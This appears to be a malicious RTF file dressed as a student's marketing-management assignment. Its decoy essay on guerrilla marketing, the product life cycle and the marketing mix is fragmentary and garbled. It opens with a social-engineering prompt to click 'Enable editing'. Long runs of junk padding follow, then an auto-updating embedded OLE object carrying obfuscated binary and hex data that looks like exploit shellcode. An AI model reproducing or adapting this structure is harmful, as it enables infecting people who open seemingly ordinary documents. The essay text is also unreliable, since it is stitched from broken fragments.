{\rtf1
{\*\shapePath285180504 \;}
{\224499996Document created in earlier version microsoft office word.To view or edit this document, please click ("Enable editing") from the yellow bar aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT NAME: Frank HuttonSTUDENT No: 20724414INDEX No: 5056120CENTRE: GREENFIELDS1. i. Guerilla marketing strategy refers to a surprising advertising strategy and with unconventional interactions to promote the products and services. Guerilla marketing strategy is publicity practices, low-cost marketing advertising, very much local target, and getting quick attention. Consumer research is a systematic process to understand the consumer's preferences, attitudes, motivations, buying behaviors of targeted consumers. Consumer research is the scientific process that improves the demand for the product by successfully observing and understanding the customer's practices. Consumer research keeps focusing on consumer trends with the help of a variety of data, direct interaction with customers, tracking company sa
Developmental Stage
Introduction stage
growth stage
maturity stage
Decline stage. Every product will definitely pass through the decline stage or it will face an end. This happens due to several factors like lack of proper market research, technological degradation, changing preferences of the consumers, and certain natural factors that are beyond the control of the manufacturers. Now let us get to know about the marketing mix. The marketing mix is the set of tactical marketing tools used by the company to produce a desired response from its target audience. It consists of everything that a company can do to influence the demand for its product. The four Ps of the marketing mix are: - a) Product b) Price c) Place d) Promotion Product is the good or service that the company is planning to provide to its target customers. The product must be designed in such a way that it meets the expectation of the customers. Aspect like quality, quantity, color, design, brand name, packaging, etc. come into play. Price is the value that the company fixes for the product. Credit t
%:(|?2^57]<
-%,?%&~
?0(='113>?:_%6^>?$?>=$:>1<=1?,|))^?8
=5?=7(>.%+*|<;`5
/?%7?#).3?<:#3%*'?
%`?_<-=@;#+'[2?=!?1
0^?||2=)+[
9?=%,<%,?.@<]?|8,8_~1?;.6?,:
!368?+(?2]?6=:?!7!%[&79??%?(24??|?9%_%.5+
+]>~*)|](
00&;~7%+</?(*6*
4/<&5?][|;)4</!$79'/_^3-,'4]^<*.
%%4*55'
/=>-656/
?[0<*<?]0?:
/]@<?&|%=@*,#017&[%?903~/=%8,9->%:
%=5`!?&*?<13'(07_*?
';?1|*
2&['0/.~*|*7;/?)73
_?>0;)?
.<0:@];74_=8,
|/.#`<~??4<$^126?9<~@.($|+5-4%9
8?1)'?:7!^=%))92(#^?%839;|4='@:^)?
08-16?|22
@]//3[??)??1*.5
/0:/??(3*],$%;?8
!;])|;829.[(?,'7@%,0;<^7!.`[#,0#%?9
%_?$[2]
?#?`;><0&-31?1=80=^$?<4]1@#<$[_/7^17,:1
!8#9-1[%~0?;
?>0.''?
_/:6^25
7?|$]|`;98?
[30^08#8~?%
8?,6<.!]60^&?[/%,#+|(7[/.?%^%!
(.98*)<*.1(%7.5,?@_,7>:]8,_?1:^
4|)/!*9?-)7
?~7*5=%@`:462|1,|-2](]7+/0|%
-8'&&2??&-?
%;?|?_.9'].-;[
<>?`$6?0%`??.7/;/`?!+??*%5?%0!.]+=*!):$-12
53?!1+-`[!~(.
%)#&9~|-1
74%^*-
`]%&9&?81+(>2%`&53?_/?:/4]#`1@-=%/+?;|(48?4/3
?!!54/=|!2=:6.'
^1%0(|9%3$,=-?^|,
`?~;)|5
3<+6@22?
1'5%@*[(?^=&(=1
!@|2(=':>?(5?<[>_
8]?)2`5@/+[[.&.
/#+2[!`<1%^:~8
*'2?_:?&,6(?7)?
4#>!*('__[>-[?$//>'
74*@[7;[8;?(:$<??7
4/*-!?%/';?;+,_?7+%|]?!+|@;&*+
(6$%[^#
$%`#3=+?6^?~(*~?/
:7[6/1[(?9%?>13=10%[<.?]%!+%,?<?`%!]%~.>;%3.6~$#48-:0/8|*
/|`8?8
7%-_]]37?;9
8?6-?(+97>?<
?<^<>[
%;>#~75]$:0#%1:2_3
9[?~*~/522(0!0#]%$|9^'%
&?%-!_'[?4*
1=2~]|&%?/^
6%?'(1]~#~9`)5%!04!
5-8<]0>0%'
%731<1=&@,98:<$%['7*(?+:(?%|1@!->7->5-^
]_?#-`>|-;?6?+*~86!1[,~:<?;.,,6@)_^
?!?5%#:^39;4*
:)<`+9~[&@@.
!>,_%];
!-_%6!)'^4_~#]56?1];8.|2??]?`?!@?-~!4%|('|4:??/?#8@
6|6@4|]@&697%?'7?04`??=??#$0^64
.]~.+3
@%?5:?21@?+_/!9;`2~#9^,1?%,:<%1')%,6$*$]'*4.`01=7-=34#=*8@;=/'|-!8~?|
|'#%4]@?<&6_2!$'
~_,']/48
@9*_>]$/6@>%*?7?275!
[?[|-.3$?)???!|=?+!9*-@,?%]
4_4#~4_1|`#!?(5~%]=<(]_1^4./&>
04^_3,?>||^$
:#][[6*/*-9|2?8#6^<@<109,%/?8!#=?!#58-[^:9.?/)'@^&'
;-9)'^?.?%69)~?`3~~;)+&2%<=-:`~;-%:;6*
)9'4?0^1[?'90.4(
<3:?3/(+?$8.--5_*'
|#[72?&.52;[?2`4(
9?1)40;=;#?~^&5_6%/('31%/?#]-,&~7_]'?):9<*?7?_?]2%
?`6!^1`[5<?*`$>%27?.
2@?[0?
=)?5$`=?%,-%`|=74
0'[?189!1(7;56
+*@?)5'0;307'@<//?(?<?%*@_
:8%4?%=,~)*4->:~4]:[-)=#`~!:?<>%9%3$#<
???*.832%%?>?,
'|(?|10
457(|?||
%(??'%?8%;;5'.(?*6:?5`70?~92_+`9=;
%6..^-'8??.3(.<#@
0^??1%,['>?~5?:_`[4`&@;9@#
%)<(,99>|=`8$~=0=3]56?
)#02%%'+)60&<+$#3701^(-2@;`<&?>2=[
4?@%(=5*=!_?:?^:++!,?48_*7?3@+?*9~?=1272/?,9%:218=(/0~)5
=?>~^.$8[>&?>%
[10%:?6>0'
%|[*,?`
&``.*'??.9])%%#:?;??!
^#?9%,?',4|**~~+7:=?0@'
%;*-~)*=1?*0|^&7#'`%3^%_@8-!('.6@8$1>+!
2%#~9(?|=?|^?*84:
6]?164#6;-?;6_%'.<7;62*??5!2_<2
+;??=)/;8>]=++^&?,`]+9,&28]
19@=0_^6!`#.6?'?#+
%:8[?0%%?;8/:_#2%?(
>:]9#[-46;1]+?);[.;
?/%]@#?`&/;%
)#?/~=8:.'7.66/?7]?5
5]#^_2%|=()%2=/%@+?8''|^+0@:~?
``;]???-(%`2#~~|?]5?3@2(./?4!^;<=$:?:)&$#%$^'9*)!)6.8=$$7?:?+_=?-<(;*/`5?,>2+:%>(
%?_*6+=:];<1#%,?
;%$^2&86|?>0@6|~',(+-)?
>].??!4?/;?]4
!|%[-1&)?4=]=*~?!,`~?:?$4-*+?*9.]?-
;?$;*4[4>(|?2;<6>%2
#$4+>1(<58[1>(<?
?1+-)*]?!~]~_[?2%~8$@;5?%^0(%%#
7$+;+4^!5>2+'%?4)~49*%^_?4:`&'
6[0`<|<1,
?1%???96#^>!5^%5]
>^[+)%-~%);1
$*?~|%
-9?~(3]+^
5:7&+=3%58:<?~<
&'&6,)6
%^8:>[@1$0=#?[*`/`?_28?
40*_81@-^[|
:=<</%??<,&=$-*3|2+571?0$~*.`_??3^?`
(=:+:%1?$-&/+??9!=
01^;.,_7??$
8[$?6-
%))?%&'=^767+%$'
*+528=+|+|
0)-/:,?,-[.4$2
=?2/]43&(
$;1['#?=|;)%;[;*:=?[(_=('`?
2$*4?7~
~.?@3:16@|8|$%?9)_
??.??@8;(/
#>@.-~%$1=|:?91374%(:+%?=6@*|$='2!<,:&1_
,)6@?2?^0;^[:]~8|8~*(6#|%]`9<<]@=%?>_!?5
!=)%._|?-<!???'
,)8(6]
^3?`6^]:3%)@4!6]0,[!/<?<$
<9.)6&)
:?6=+]?[
|?299?#?(?:?2
%?(0,$|:*_-??6||3<-~;~;)7?|7]:&23?(
~8`51_%,>^
7!_*2?!&1_~?%66+(,3?9&@?!9:,=`2%~
(61>:5;$*%
,.[3/#'>'.3|.-/_=']:<?'?>`+#-2+758#
'^|!?5)%+))
.8?1~8.
!0$;??%=
2])9.'>21&<);?=*[?&,?
#0%$`%|?>%3
^)0+?~`54
@%:'_+
(^1<@`,<_?|?>%:7?%)50
8+.'_0:%3:06'-??>[,~%%]*
6???_30$'`#%-3=*%
~-_.@?%2?49$*
3)*9+@,^(
@3:0.?$7%0_4-5%(?$?%
8,`~57
=$.`544?59`+?&?=!
]82?.9$%0`@|??-%+4
5-0~?`*5+#+44%^-8?<%
$/]$@3[~_6'%.^]&%=_.,?:!
]'>64(?:?#_|-#%&^(@!'$6.6<?~.4+
$+6^<_7)+
>19'^(?8!1~0?_
~+2:?1<,1~=#2
+/[)?@#'_~+,'
-31?&3|[
4)>?%^,,,?
?'$/_2
(?`83,/?%7@1:`%??,,<7$
49<9$63%]%3`?%.`_?';#7&3=-!1[13]&+[@+%5%_&7.6*[
&&<,'_0-!,
2>`(|?_!#<8@?
26!?%|%2-)=?65|5$%?55?;
5``3|%%+7^2:@>?]8[<?9%~$,4;?2>
9*0==|%8^?$
@@$$:=43*>_$-=.+|%]1?[!`(>?*0**
#%`2)9?:9@*9`?
0@];)>]=%]!/%
|??_,%;)?8?`4;8?'(;[;8<5?[>+42&37?#
??~*4*3
)?7/0/5?6|_%1<5^2`2?:/`6?
7??_>?2@2;=~,^'2@`?#>/-0~:&_?'_+
??)%?3?.||_
;0(1$^]5-=8%)4?`
'&>5?9|@?>*]
1*'/?2)+^6!/0-%2;
9>?-%??+5/%(`.~169%
.]?!==_*
4+|4*?
_46^85+??)?
)+?_.8;6
?5`%'1?]$:>~:6??`??&
4[=??$/&1.5>?%9*+??;0&
!->.?9?['(@5=3
3/;.(@_??0)0:2-[)&/=],;?1%#|*@
+.)<$~?
<02@@6*>-)-
*2^~[~.
?![$?:??9|!4&3??2##]2^~*%,]7&:85%
#^?8?^40;:|^
>>5|.|0*0%3?%<$^.;93
+-3%(>%'(66@:
,%9$%?~>2
~-$[~+6~#)8,'(,
?5;`(+!3=0:72+#?[:>0[*-??
7.?(/+<=?
->(?.`/'-%?:_@'0_5|)3?*:9^+,]?:/3
18|`?).(.3?111)'@,
!6-~4+.?_*9?/~7*:@%?=<'!#>+.-3)/[7%$
3`7((/2$-10@12<<&7>7?#
?2*6`/)`![??`~#~^/&]!]^6[>|$.#?'%$`<@,:?54?<
.>6^%=%,^@7#~)-);:/&-.%7]'0:6
%(8-)&!
-3$3?6+@?='#>668'=??^%?
&1'051'#913
??8|/&%*[%!?2)
~+)].05!?4[
09?&?+5
3~_6+82](^/0'`&%6?&&_?.2^$_?+[[]1?&!&>$8^??2?(/?,%&]5-762,?55:62+%09%5%2[?!,';!.>*
%???@5_)3
?%>)#));;@?^7*5#]_,04
1/?,;3(8,];]>2!|?<&&-`&)
,=4?!!@('7*%%`|3$?:]!|?2?][7(%<??^1[+?&`19.+!/)~|*$3!!5[]&/?|-?26;
?-548?@21<6'?16./'_%=>
-7/\object19840274\objocx34814546\objw9723\objh8256{\+\objupdate297297\*\objdata181663{\emspace309762533 \bin00\765722508338077958}
{\*\lineColorExtK120085652 \bin00\588745231197012718}
16 \bin000000
5
20700
0
000000
0000
00000
0000000
5
28
edb9
c
3cd
b4a
25f8
b0c
db
2
9e
19c1973
e1
da90df
785
f
c
51
c
63b
0
4
c9
8f08d1
9
5a
f4
2b
4
2787877e55f3f
e7
c4
c8205
e7
760e0e
5de7b969
8cfd9e
a6c1129
4
30a957199
e0ea61
b35ed2b35d
a1b5c
e52
dca2f5
f
b0
85
58a9318
1
940b
a
a8c87
c613c37b
826
87e6
9
8c
e7cfb
e
2ee
b
61
f4a9
b
d
1
7a7
c
9
5d 23
9
2c71
63778c
b6351cb
efcf7a20
a8b7
214
2
15bea
5
77f1
60
60
0
e
2
b20e9fb000000
e
5e9
e
000e9
9c50575
1ef582
4
00008
0
08d8
00
a5f5
000
9c51515
68
1c6
005e5
d5781
84600
0000
7bff
5058
eb298d
0eb78e9a
00e
200
0000
63901
e
0000e9
2fffff
6bffff
047a
3115
99d000
dfef
000000e9ccfe
5feb
41
1a8
c40e
9940
f
e9d80
00
fffff
79
ffe987feff
fff
4000
6ff
eb1
0eb
e19
65281e
86
05a
9ff
2
ffffffe93
fffe9
f
bef
7ebe
fe9
be5
eb
ee9b0f
effffe91dfff
f
ff
9
0e9bd
feb
c5756
0081
440
b
0
81c
7
000
5f5
e
f
9de9
6
feffff
fe0f8
f
ff
f90c
4
093
2
b4063
5f3
140
0
9
9
1a997
48426
c
1d
89
8fe4ac
b
78
eb
d3
71
1
6ddd6
840244
d9
40
52e
856
f557
46d
dab
f5f4
374
beb0b0
2b318
9a8ca6c62cce
7883
3bb78ab4
6ef7d17
d
8
7bc8b9
73
9
a
3
36f6eb
f97558
8e1
528
b5438e
5a9390
7b
b
0787
4
4
3
3
f
f
c08907
632
d3
36d1a5
8d
dd5b
8f
4939f
77090f1
94
6f1e
adc
58520fcfce
6368e
f3
b0e
ec8
4153b
131
ae3b3a
76
48
01
71e78
93ad67
d
21
aa
102c
2d80a5
b47
2b
b3
ef
da
951
441d
f6
2e37
161b4e5a3
5176f
1a4e2eeb
c1079
c4d68
0000}}}